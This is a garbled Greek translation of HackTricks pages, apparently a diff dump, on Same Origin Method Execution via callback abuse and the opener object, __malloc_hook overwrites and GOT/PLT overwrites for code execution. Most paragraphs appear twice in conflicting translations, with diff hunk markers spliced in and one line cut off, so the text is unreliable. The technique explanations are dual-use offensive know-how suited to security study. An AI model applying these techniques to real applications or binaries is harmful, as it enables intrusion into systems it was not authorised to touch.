[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο βασικός στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
---
***
## Same Origin Method Execution
Θα υπάρχουν περιπτώσεις όπου μπορείτε να εκτελέσετε κάποιο περιορισμένο javascript σε μια σελίδα. Για παράδειγμα, στην περίπτωση όπου μπορείτε να [**ελέγξετε μια τιμή επιστροφής που θα εκτελεστεί**](./#javascript-function).
Θα υπάρξουν περιπτώσεις όπου μπορείτε να εκτελέσετε κάποια περιορισμένη javascript σε μια σελίδα. Για παράδειγμα, στην περίπτωση όπου μπορείτε να [**ελέγξετε μια τιμή callback που θα εκτελεστεί**](./#javascript-function).
Σε αυτές τις περιπτώσεις, ένα από τα καλύτερα πράγματα που θα μπορούσατε να κάνετε είναι να **έχετε πρόσβαση στο DOM για να καλέσετε οποιαδήποτε** ευαίσθητη ενέργεια μπορείτε να βρείτε εκεί (όπως το κλικ σε ένα κουμπί). Ωστόσο, συνήθως θα βρείτε αυτήν την ευπάθεια σε **μικρά σημεία που δεν έχουν κάτι ενδιαφέρον στο DOM**.
Σε αυτές τις περιπτώσεις, ένα από τα καλύτερα πράγματα που μπορείτε να κάνετε είναι να **πρόσβαση στο DOM για να καλέσετε όποια** ευαίσθητη ενέργεια μπορείτε να βρείτε εκεί (όπως το να κάνετε κλικ σε ένα κουμπί). Ωστόσο, συνήθως θα βρείτε αυτή την ευπάθεια σε **μικρές τελικές σημεία χωρίς τίποτα ενδιαφέρον στο DOM**.
Σε αυτά τα σενάρια, αυτή η επίθεση θα είναι πολύ χρήσιμη, επειδή ο στόχος της είναι να μπορείτε να **καταχραστείτε την περιορισμένη εκτέλεση JS μέσα σε ένα DOM από μια διαφορετική σελίδα από τον ίδιο τομέα** με πολλές ενδιαφέρουσες ενέργειες.
Σε αυτά τα σενάρια, αυτή η επίθεση θα είναι πολύ χρήσιμη, επειδή ο στόχος της είναι να μπορέσει να **καταχραστεί την περιορισμένη εκτέλεση JS μέσα σε ένα DOM από μια διαφορετική σελίδα από την ίδια τοποθεσία** με πολύ ενδιαφέρουσες ενέργειες.
Βασικά, η ροή της επίθεσης είναι η ακόλουθη:
Βασικά, η ροή της επίθεσης είναι η εξής:
* Βρείτε ένα **callback που μπορείτε να καταχραστείτε** (ενδεχομένως περιορισμένο σε \[\w\\.\_]).
* Αν δεν είναι περιορισμένο και μπορείτε να εκτελέσετε οποιοδήποτε JS, μπορείτε απλά να καταχραστείτε αυτό ως ένα κανονικό XSS
* Κάντε τον **θύμα να ανοίξει μια σελίδα** που ελέγχεται από τον **επιτιθέμενο**
* Βρείτε ένα **callback που μπορείτε να καταχραστείτε** (πιθανώς περιορισμένο σε \[\w\\.\_]).
* Αν δεν είναι περιορισμένο και μπορείτε να εκτελέσετε οποιοδήποτε JS, μπορείτε απλά να το καταχραστείτε ως κανονικό XSS
* Κάντε την **θύμα να ανοίξει μια σελίδα** που ελέγχεται από τον **επιτιθέμενο**
* Η **σελίδα θα ανοίξει μόνη της** σε ένα **διαφορετικό παράθυρο** (το νέο παράθυρο θα έχει το αντικείμενο **`opener`** που αναφέρεται στο αρχικό)
* Η **αρχική σελίδα** θα φορτώσει τη **σελίδα** όπου βρίσκεται το **ενδιαφέρον DOM**.
* Η **δεύτερη σελίδα** θα φορτώσει τη **ευάθροτη σελίδα καταχρώμενη το callback** και χρησιμοποιώντας το αντικείμενο **`opener`** για να **έχει πρόσβαση και να εκτελέσει κάποια ενέργεια στην αρχική σελίδα** (η οποία περιέχει πλέον το ενδιαφέρον DOM).
* Η **δεύτερη σελίδα** θα φορτώσει τη **ευάλωτη σελίδα καταχρώντας το callback** και χρησιμοποιώντας το **`opener`** αντικείμενο για να **πρόσβαση και να εκτελέσει κάποια ενέργεια στην αρχική σελίδα** (η οποία τώρα περιέχει το ενδιαφέρον DOM).
{% hint style="danger" %}
Σημειώστε ότι ακόμα κι αν η αρχική σελίδα έχει πρόσβαση σε ένα νέο URL μετά τη δημιουργία της δεύτερης σελίδας, το **`opener` αντικείμενο της δεύτερης σελίδας εξακολουθεί να είναι έγκυρη αναφορά στην πρώτη σελίδα στο νέο DOM**.
Σημειώστε ότι ακόμη και αν η αρχική σελίδα έχει πρόσβαση σε μια νέα διεύθυνση URL μετά τη δημιουργία της δεύτερης σελίδας, το **`opener` αντικείμενο της δεύτερης σελίδας είναι ακόμα μια έγκυρη αναφορά στην πρώτη σελίδα στο νέο DOM**.
Επιπλέον, για να μπορεί η δεύτερη σελίδα να χρησιμοποιήσει το αντικείμενο opener **και οι δύο σελίδες πρέπει να είναι στην ίδια προέλευση**. Αυτό είναι ο λόγος για τον οποίο, για να καταχραστείτε αυτήν την ευπάθεια, πρέπει να βρείτε κάποιο είδος **XSS στην ίδια προέλευση**.
Επιπλέον, προκειμένου η δεύτερη σελίδα να μπορεί να χρησιμοποιήσει το αντικείμενο opener **και οι δύο σελίδες πρέπει να είναι στην ίδια τοποθεσία**. Αυτός είναι ο λόγος που, προκειμένου να καταχραστείτε αυτή την ευπάθεια, πρέπει να βρείτε κάποιο είδος **XSS στην ίδια τοποθεσία**.
{% endhint %}
### Εκμετάλλευση
### Exploitation
* Μπορείτε να χρησιμοποιήσετε αυτήν τη φόρμα για να **δημιουργήσετε ένα PoC** για την εκμετάλλευση αυτού του τύπου ευπαθειών: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* Για να βρείτε ένα μονοπάτι DOM προς ένα στοιχείο HTML με ένα κλικ μπορείτε να χρησιμοποιήσετε αυτήν την επέκταση προγράμματος περιήγησης: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
* Μπορείτε να χρησιμοποιήσετε αυτή τη φόρμα για να **δημιουργήσετε ένα PoC** για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* Για να βρείτε μια διαδρομή DOM σε ένα HTML στοιχείο με ένα κλικ μπορείτε να χρησιμοποιήσετε αυτή την επέκταση προγράμματος περιήγησης: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
### Παράδειγμα
### Example
* Μπορείτε να βρείτε ένα ευάθροτο παράδειγμα στο [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
* Σημειώστε ότι σε αυτό το παράδειγμα ο διακομιστής **δημιουργεί κώδικα javascript** και τον **προσθέτει** στο HTML με βάση το **περιεχόμενο της παραμέτρου κλήσης επιστροφής:** `<script>opener.{callbacl_content}</script>` . Γι' αυτό σε αυτό το παράδειγμα δεν χρειάζεται να υποδείξετε τη χρήση του `opener` ρητά.
* Ελέγξτε επίσης αυτό το CTF writeup: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
* Μπορείτε να βρείτε ένα ευάλωτο παράδειγμα στο [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
* Σημειώστε ότι σε αυτό το παράδειγμα ο διακομιστής είναι **δημιουργώντας κώδικα javascript** και **προσθέτοντάς** τον στο HTML με βάση το **περιεχόμενο της παραμέτρου callback:** `<script>opener.{callbacl_content}</script>`. Γι' αυτό σε αυτό το παράδειγμα δεν χρειάζεται να υποδείξετε τη χρήση του `opener` ρητά.
* Επίσης, ελέγξτε αυτή την αναφορά CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## Αναφορές
## References
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,45 +1,52 @@
# AW2Exec - \_\_malloc\_hook
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Malloc Hook**
Όπως μπορείτε να δείτε στην [επίσημη σελίδα του GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), η μεταβλητή **`__malloc_hook`** είναι ένας δείκτης που δείχνει στη **διεύθυνση μιας συνάρτησης που θα κληθεί** κάθε φορά που καλείται η `malloc()` **αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc**. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα **One Gadget** για παράδειγμα και κληθεί η `malloc`, το **One Gadget θα κληθεί**.
Όπως μπορείτε να δείτε στον [Επίσημο ιστότοπο GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), η μεταβλητή **`__malloc_hook`** είναι ένας δείκτης που δείχνει στη **διεύθυνση μιας συνάρτησης που θα καλείται** όποτε καλείται το `malloc()` **αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc**. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα **One Gadget** για παράδειγμα και κληθεί το `malloc`, το **One Gadget θα κληθεί**.
Για να κληθεί η malloc είναι δυνατόν να περιμένετε το πρόγραμμα να την καλέσει ή με το **να καλέσετε `printf("%10000$c")`** το οποίο δεσμεύει πολλά bytes κάνοντας την `libc` να καλέσει την malloc για να τα δεσμεύσει στη στοίβα.
Για να καλέσετε το malloc, είναι δυνατόν να περιμένετε να το καλέσει το πρόγραμμα ή να **καλέσετε `printf("%10000$c")** που δεσμεύει πάρα πολλά bytes κάνοντάς το `libc` να καλέσει το malloc για να τα δεσμεύσει στο heap.
Περισσότερες πληροφορίες σχετικά με το One Gadget στο:
Περισσότερες πληροφορίες σχετικά με το One Gadget μπορείτε να βρείτε στο:
{% content-ref url="../one-gadget.md" %}
[one-gadget.md](../one-gadget.md)
{% endcontent-ref %}
{% hint style="danger" %}
Σημειώστε ότι οι hooks είναι **απενεργοποιημένες για GLIBC >= 2.34**. Υπάρχουν άλλες τεχνικές που μπορούν να χρησιμοποιηθούν σε σύγχρονες εκδόσεις GLIBC. Δείτε [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% endhint %}
## Αναφορές
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,60 +1,61 @@
# AW2Exec - GOT/PLT
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Βασικές Πληροφορίες**
### **GOT: Πίνακας Παγκόσμιας Μετατόπισης**
### **GOT: Παγκόσμιος Πίνακας Αντιστροφής**
Ο **Πίνακας Παγκόσμιας Μετατόπισης (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για τη **δυναμική ενημέρωση των διευθύνσεων αυτών των εξωτερικών συμβόλων** μόλις αυτά επιλυθούν.
Ο **Παγκόσμιος Πίνακας Αντιστροφής (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για να διαχειρίζεται τις **διευθύνσεις εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για να **ενημερώνονται δυναμικά οι διευθύνσεις αυτών των εξωτερικών συμβόλων** μόλις επιλυθούν.
Κάθε καταχώρηση στο GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από το δυναμικό συνδέτη και αποθηκεύεται στο GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στο GOT, αποφεύγοντας έτσι την επιβάρυνση της επίλυσης της διεύθυνσης ξανά.
Κάθε καταχώρηση στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στον GOT, αποφεύγοντας έτσι την επιβάρυνση της εκ νέου επίλυσης της διεύθυνσης.
### **PLT: Πίνακας Σύνδεσης Διαδικασίας**
### **PLT: Πίνακας Σύνδεσης Διαδικασιών**
Ο **Πίνακας Σύνδεσης Διαδικασίας (PLT)** λειτουργεί στενά με το GOT και λειτουργεί ως τραμπολίνα για τη διαχείριση κλήσεων σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος περνά σε μια καταχώρηση στο PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέτη για την επίλυση της διεύθυνσης της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού η διεύθυνση επιλυθεί, αποθηκεύεται στο GOT.
Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως ελατήριο για να διαχειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια καταχώρηση στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον GOT.
**Συνεπώς,** οι καταχωρήσεις GOT χρησιμοποιούνται απευθείας μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέτη.
**Επομένως,** οι καταχωρήσεις GOT χρησιμοποιούνται άμεσα μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέσμου.
## Λήψη Εκτέλεσης
## Λάβετε Εκτέλεση
### Έλεγχος του GOT
### Ελέγξτε τον GOT
Λάβετε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`**
Αποκτήστε τη διεύθυνση του πίνακα GOT με: **`objdump -s -j .got ./exec`**
![](<../../../.gitbook/assets/image (619).png>)
Παρατηρήστε πως μετά το **φόρτωμα** του **εκτελέσιμου** στο GEF μπορείτε **να δείτε** τις **συναρτήσεις** που βρίσκονται στο **GOT**: `gef➤ x/20x 0xADDR_GOT`
Παρατηρήστε πώς μετά την **φόρτωση** του **εκτελέσιμου** στο GEF μπορείτε να **δείτε** τις **συναρτήσεις** που είναι στον **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
Χρησιμοποιώντας το GEF μπορείτε **να ξεκινήσετε** μια **συνεδρία αποσφαλμάτωσης** και να εκτελέσετε το **`got`** για να δείτε τον πίνακα got:
Χρησιμοποιώντας το GEF μπορείτε να **ξεκινήσετε** μια **συνεδρία αποσφαλμάτωσης** και να εκτελέσετε **`got`** για να δείτε τον πίνακα got:
![](<../../../.gitbook/assets/image (621).png>)
### GOT2Exec
Σε ένα δυαδικό ο GOT έχει τις **διευθύνσεις των συναρτήσεων ή** της **ενότητας PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **αντικαταστήσετε μια καταχώρηση GOT** μιας συνάρτησης που θα εκτελεστεί αργότερα **με** τη **διεύθυνση** της PLT της **συνάρτησης `system`** για παράδειγμα.
Σε ένα δυαδικό αρχείο, ο GOT έχει τις **διευθύνσεις στις συναρτήσεις ή** στην **ενότητα PLT** που θα φορτώσει τη διεύθυνση της συνάρτησης. Ο στόχος αυτής της αυθαίρετης εγγραφής είναι να **αντικαταστήσει μια καταχώρηση GOT** μιας συνάρτησης που πρόκειται να εκτελεστεί αργότερα **με** τη **διεύθυνση** του PLT της **συνάρτησης** **`system`** για παράδειγμα.
Ιδανικά, θα **αντικαταστήσετε** το **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (ώστε να μπορείτε να ελέγξετε τις παραμέτρους που στέλνονται στη συνάρτηση συστήματος).
Ιδανικά, θα **αντικαταστήσετε** τον **GOT** μιας **συνάρτησης** που πρόκειται να **καλεστεί με παραμέτρους που ελέγχετε εσείς** (έτσι θα μπορείτε να ελέγξετε τις παραμέτρους που αποστέλλονται στη συνάρτηση system).
Αν **η `system`** **δεν χρησιμοποιείται** από το σενάριο, η συνάρτηση συστήματος **δεν** θα έχει μια καταχώρηση στο PLT. Σε αυτό το σενάριο, θα **χρειαστεί να διαρρεύσετε πρώτα τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να αντικαταστήσετε το GOT για να δείχνει σε αυτή τη διεύθυνση.
Αν η **`system`** **δεν χρησιμοποιείται** από το σενάριο, η συνάρτηση system **δεν θα** έχει μια καταχώρηση στον PLT. Σε αυτό το σενάριο, θα **πρέπει πρώτα να διαρρεύσετε τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να αντικαταστήσετε τον GOT για να δείξει σε αυτή τη διεύθυνση.
Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`**
## **One Gadget**
## **Ένα Gadget**
{% content-ref url="../one-gadget.md" %}
[one-gadget.md](../one-gadget.md)
@ -62,7 +63,7 @@
## **Προστασίες**
Η προστασία **Full RELRO** έχει σκοπό να προστατεύσει από αυτού του είδους την τεχνική με την επίλυση όλων των διευθύνσεων των συναρτήσεων όταν ξεκινάει το δυαδικό και καθιστώντας τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό:
Η προστασία **Full RELRO** προορίζεται να προστατεύει από αυτού του είδους την τεχνική επιλύοντας όλες τις διευθύνσεις των συναρτήσεων όταν ξεκινά το δυαδικό αρχείο και κάνοντάς τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md)
@ -73,12 +74,17 @@
